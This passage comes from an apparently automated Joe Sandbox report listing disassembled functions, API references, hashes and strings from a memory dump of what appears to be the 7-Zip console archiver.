Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
API String ID: 1646373207-4044117955
Opcode ID: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
Instruction ID: 64c10c8a2b49ae8c2d9c5c300f6f67edbe9dbbf96254179b4862bcccaf482f96
Opcode Fuzzy Hash: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
Instruction Fuzzy Hash: CFE07EA8641E0692FA14DB51F8B8B5423A0F74A751F804229C44A03320EFBC815BC710

Function 00C04F24 Relevance: 11.4, APIs: 9, Instructions: 111COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C04FB9
free.MSVCRT ref: 00C04FC1
memmove.MSVCRT ref: 00C04FDC
free.MSVCRT ref: 00C05033
free.MSVCRT ref: 00C0503B
free.MSVCRT ref: 00C05049

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: a041cbdb6f5740e4120ede61be48ff6f97309ac3af8f67b0fadf56b6372aeade
Instruction ID: 50df55324d40063bcc9ea6781c8b08bff28b2de261ee1c96dd97a943632e91a9
Opcode Fuzzy Hash: a041cbdb6f5740e4120ede61be48ff6f97309ac3af8f67b0fadf56b6372aeade
Instruction Fuzzy Hash: 5C31D672714F9183DA10EE26D89016E7710AB96FE4B085221FFAE1B7D9CF29C902DB40

Function 00C20554 Relevance: 11.4, APIs: 9, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00C096AC: free.MSVCRT ref: 00C096D1

free.MSVCRT ref: 00C205FD
free.MSVCRT ref: 00C20607
free.MSVCRT ref: 00C20612
free.MSVCRT ref: 00C20639
free.MSVCRT ref: 00C20643
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,00C22160), ref: 00C20652
free.MSVCRT ref: 00C20673
free.MSVCRT ref: 00C20692
free.MSVCRT ref: 00C206BC

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
Instruction ID: 09fdcbdf17d7c1568d17998afff145c14d6498841a29bbeab2d5d549fa21a691
Opcode Fuzzy Hash: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
Instruction Fuzzy Hash: E2318B23224690CACB30EF25E89025EB760F7C5794F541126EB9E87EAADF39D955CB00

Function 00C3EAD4 Relevance: 11.3, APIs: 9, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C3EAFF
memcmp.MSVCRT ref: 00C3EB1D
memcmp.MSVCRT ref: 00C3EB33

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
Instruction ID: dfd57e5a9b0cb4fd8d7afa5e838b87069845e9965be92baf3cef707e6e8aca44
Opcode Fuzzy Hash: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
Instruction Fuzzy Hash: 4A31AEA5358B0092FB04DF27AC513A86326EB45FD8FC59061DE0797686EF74DA85E308

Function 00C329F7 Relevance: 11.3, APIs: 9, Instructions: 52COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C32A09
free.MSVCRT ref: 00C32A13
free.MSVCRT ref: 00C32A1E
free.MSVCRT ref: 00C32A2C
free.MSVCRT ref: 00C32A4E
free.MSVCRT ref: 00C32A57
free.MSVCRT ref: 00C32A65
free.MSVCRT ref: 00C32A70
free.MSVCRT ref: 00C32D73

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
Instruction ID: 75f8a059aa1ca6c1d0069ee8e0ff43c61d74a487f0df663f5d24e97842af37b9
Opcode Fuzzy Hash: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
Instruction Fuzzy Hash: 79012C7325A6A085CA11FB32E45A66E6310F7C3B91F0420A39F4E13751CE38C847D244

Function 00C33677 Relevance: 11.3, APIs: 9, Instructions: 48COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3367E
free.MSVCRT ref: 00C33688
free.MSVCRT ref: 00C33693
free.MSVCRT ref: 00C336A1
free.MSVCRT ref: 00C336C8
free.MSVCRT ref: 00C336D1
free.MSVCRT ref: 00C336DF
free.MSVCRT ref: 00C336EA
free.MSVCRT ref: 00C336F8

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
Instruction ID: f90932a6e6a2debf70dbc7c8f6af16ad494d5422602df7bdb7f193e361bae00d
Opcode Fuzzy Hash: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
Instruction Fuzzy Hash: E601CD732566A085CA11FF36E46576E5310F7C7B91F012063AF5E53751CE38C847D644

Function 00C468FC Relevance: 11.3, APIs: 9, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4692E
free.MSVCRT ref: 00C46937
free.MSVCRT ref: 00C46940
free.MSVCRT ref: 00C46949
free.MSVCRT ref: 00C46952
free.MSVCRT ref: 00C4695B
free.MSVCRT ref: 00C46964
free.MSVCRT ref: 00C4696D
free.MSVCRT ref: 00C46975

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
Instruction ID: 78da73cf9e8919b7156328f2b6f3434cdf6f9a40ecd2021804ef01cb64cf7b6c
Opcode Fuzzy Hash: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
Instruction Fuzzy Hash: DA011A33711AA0C9CA10EE36DC951AC6320AB96B987185172BF2D4B799DE60CC52D380

Function 00C0F0C8 Relevance: 11.3, APIs: 9, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0F0FA
free.MSVCRT ref: 00C0F103
free.MSVCRT ref: 00C0F10C
free.MSVCRT ref: 00C0F115
free.MSVCRT ref: 00C0F11E
free.MSVCRT ref: 00C0F127
free.MSVCRT ref: 00C0F130
free.MSVCRT ref: 00C0F139
free.MSVCRT ref: 00C0F141

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction ID: e5ea50b0835e9c52502f361ae15dbbba9b5e5547ad62ec438151cd27f80eb322
Opcode Fuzzy Hash: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction Fuzzy Hash: BF012C73711AA0CACB10FE36DC9516C3720EB86B98B185176BF2D4BB95DE60CC82D384

Function 00C4C844 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 195COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4C91C
fputs.MSVCRT ref: 00C4C9F1

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

fputs.MSVCRT ref: 00C4CADA

Part of subcall function 00C022E4: fflush.MSVCRT ref: 00C022EB

Strings

ERROR: , xrefs: 00C4CAD3
WARNINGS:, xrefs: 00C4C9C2, 00C4C9EA
ERRORS:, xrefs: 00C4C8ED, 00C4C915

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free$fflushfputcmemset
String ID: ERROR: $ERRORS:$WARNINGS:
API String ID: 2975459029-4064182643
Opcode ID: 0028e4c7587573bd9f515618cfbb5301f3e1817b887f44ee0e76695e23076ce5
Instruction ID: 8fad4aab095d47776d8217b7c401ce82987a08d51e3e672d0fcd029f40cfed61
Opcode Fuzzy Hash: 0028e4c7587573bd9f515618cfbb5301f3e1817b887f44ee0e76695e23076ce5
Instruction Fuzzy Hash: E6619266702A85AACE78EF72E4D536EB310F740B80F484126DF6F07662DF28D994E310

Function 00C35680 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 181COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C35737
free.MSVCRT ref: 00C35907
free.MSVCRT ref: 00C35911

Strings

..., xrefs: 00C358F2
: , xrefs: 00C3574A
Junction: , xrefs: 00C35707
REPARSE:, xrefs: 00C357DF

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID: : $...$Junction: $REPARSE:
API String ID: 1294909896-1476144188
Opcode ID: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
Instruction ID: 472c73c939b26d7f71f183fa73500ab198b017b05bdd6bc3a4619f8189f8f913
Opcode Fuzzy Hash: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
Instruction Fuzzy Hash: 2D513532220B8492CF20EF26E8417AE7765FB817A4F449122FA9747395DF7CC685DB50

Function 00C40E6C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C40E9C

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

fputs.MSVCRT ref: 00C40F5D
fputs.MSVCRT ref: 00C40FD8
fputs.MSVCRT ref: 00C40FF4
LeaveCriticalSection.KERNEL32 ref: 00C41092

Strings

???, xrefs: 00C40EC3

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$EnterLeavefreememmove
String ID: ???
API String ID: 2578255354-1053719742
Opcode ID: d090310c851ddd8da6f155963b96fa8e816a2e05670a1bcacee5b10761a30d00
Instruction ID: 493dabe5dad99cc90db61bb62a34c1753cd5395415d703596f2b535a98324d44
Opcode Fuzzy Hash: d090310c851ddd8da6f155963b96fa8e816a2e05670a1bcacee5b10761a30d00
Instruction Fuzzy Hash: BE516036340A81A2EB1CDB21D9947ED6320F784B95F444126DF6E077A0DF38EABAD300

Function 00C40C64 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C40C95
fputs.MSVCRT ref: 00C40CF7
fputs.MSVCRT ref: 00C40D23
LeaveCriticalSection.KERNEL32 ref: 00C40E38

Strings

with the file from archive:, xrefs: 00C40D1C
Would you like to replace the existing file:, xrefs: 00C40CF0

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CriticalSectionfputs$EnterLeave
String ID: Would you like to replace the existing file:$with the file from archive:
API String ID: 3346953513-686978020
Opcode ID: 7412e7fb1b6ccc606eca1224af26252d797eb43481bfe92c889a2551bdc217a5
Instruction ID: c452892e628af255555dd0747c11f9911c0ce69f3202b85a27e0941f07888035
Opcode Fuzzy Hash: 7412e7fb1b6ccc606eca1224af26252d797eb43481bfe92c889a2551bdc217a5
Instruction Fuzzy Hash: 5341F562394B8292EB289F66D8907A87320F785F90F648226DF7E07751CF3CD899D305

Function 00C412B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C412DC
fputs.MSVCRT ref: 00C4137C
fputs.MSVCRT ref: 00C4139C
free.MSVCRT ref: 00C413D3
LeaveCriticalSection.KERNEL32 ref: 00C413EB

Strings

: , xrefs: 00C41395

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CriticalSectionfputs$EnterLeavefree
String ID: :
API String ID: 1989314732-3653984579
Opcode ID: a9e7b779069d7613123e0b6a527abe8c78201bf88696ae9abb195fc48f8ffdd4
Instruction ID: 4f1e58e385793e103a0957f06d47b0096b7a183b101fe53bbf34381f79ef2ee1
Opcode Fuzzy Hash: a9e7b779069d7613123e0b6a527abe8c78201bf88696ae9abb195fc48f8ffdd4
Instruction Fuzzy Hash: 41312B76200A8081DB25DF25D8957AD3320F788FA8F585236DEAE4B7A8CF78C985D310

Function 00C4CE50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4CE70

Part of subcall function 00C022E4: fflush.MSVCRT ref: 00C022EB

GetStdHandle.KERNEL32 ref: 00C4CE83
GetConsoleMode.KERNEL32 ref: 00C4CEAA
SetConsoleMode.KERNEL32 ref: 00C4CEBE
SetConsoleMode.KERNEL32 ref: 00C4CEE8

Strings

Enter password (will not be echoed):, xrefs: 00C4CE69

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ConsoleMode$Handlefflushfputs
String ID: Enter password (will not be echoed):
API String ID: 108775803-3720017889
Opcode ID: b3b14cee00391645aedadfe40ccae594c45a57101052151f518e341e407f9c9a
Instruction ID: b1466db35b0a45593f298cde238b04f4f5941acb80a9b9a4c93555fc0b187f60
Opcode Fuzzy Hash: b3b14cee00391645aedadfe40ccae594c45a57101052151f518e341e407f9c9a
Instruction Fuzzy Hash: 2121C82230360142FE689BA6A9947396361BB887B1F185325EE2A473F5DF7CC989D304

Function 00C41AA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C41ACD
free.MSVCRT ref: 00C41B97

Strings

The file is open, xrefs: 00C41B60
The archive is open with offset, xrefs: 00C41B02
Can not open the file, xrefs: 00C41B34
WARNING:, xrefs: 00C41AC6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputsfree
String ID: Can not open the file$The archive is open with offset$The file is open$WARNING:
API String ID: 2581285248-3393983761
Opcode ID: 508089e93e5762c25ef1d7ab05736a957ed921444384873a384d5238f926eb99
Instruction ID: 65b245b6fba491a252994227ff90f926c4f4aaaa645a61550e59efcaa5ce2235
Opcode Fuzzy Hash: 508089e93e5762c25ef1d7ab05736a957ed921444384873a384d5238f926eb99
Instruction Fuzzy Hash: EB21C5A2300A4595DE24DF26E85079D6720F789BE8F484322EF5E433B5EF28D6CAD700

Function 00C37614 Relevance: 10.2, APIs: 8, Instructions: 196COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C37668
free.MSVCRT ref: 00C37670
free.MSVCRT ref: 00C37882
free.MSVCRT ref: 00C3789D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
Instruction ID: 23a4a55e32d114862e5c354e6314e116c093cdd7d8624e4301cb5ef81cd05147
Opcode Fuzzy Hash: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
Instruction Fuzzy Hash: F471DE6322C7C096CA30EB25E44469EA764F7CA790F641206EBEA53B99CF38C945DB01

Function 00C2BB68 Relevance: 10.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C2BBD6
free.MSVCRT ref: 00C2BC04

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

free.MSVCRT ref: 00C2BC1D
free.MSVCRT ref: 00C2BC33
free.MSVCRT ref: 00C2BC41
free.MSVCRT ref: 00C2BCFA
free.MSVCRT ref: 00C2BD0E

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
Instruction ID: 972231a6b0d14e63d816093668a28877813660625cfa643bae228f05f0d0c451
Opcode Fuzzy Hash: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
Instruction Fuzzy Hash: F14106322047E081CB35AF29F4042AD7760D792B98F145112EB9A07B9ADF79CE86D340

Function 00C20A58 Relevance: 10.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C20A91
free.MSVCRT ref: 00C20A99

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

memmove.MSVCRT ref: 00C20AD4
free.MSVCRT ref: 00C20ADD
memmove.MSVCRT ref: 00C20B19
free.MSVCRT ref: 00C20B22
memmove.MSVCRT ref: 00C20B5B
free.MSVCRT ref: 00C20B64

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: freememmove$ExceptionThrowmalloc
String ID:
API String ID: 1818558235-0
Opcode ID: 765776f35c77edad6c13728d38dc7fcf5a9f6dac0127373448571f55f4189822
Instruction ID: fe8b37f383bc2246a71d6518abcaec5e204a41cc1fb954c53aa9265449003905
Opcode Fuzzy Hash: 765776f35c77edad6c13728d38dc7fcf5a9f6dac0127373448571f55f4189822
Instruction Fuzzy Hash: 6C314DB27112A48BCB64DF7AE49252D73E4E748FD83145026DF2D97749DA30DC82CB90

Function 00C33162 Relevance: 10.0, APIs: 8, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C33174
free.MSVCRT ref: 00C3317E
free.MSVCRT ref: 00C33189
free.MSVCRT ref: 00C33197
free.MSVCRT ref: 00C331C0
free.MSVCRT ref: 00C331C9
free.MSVCRT ref: 00C331D7
free.MSVCRT ref: 00C331E2

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
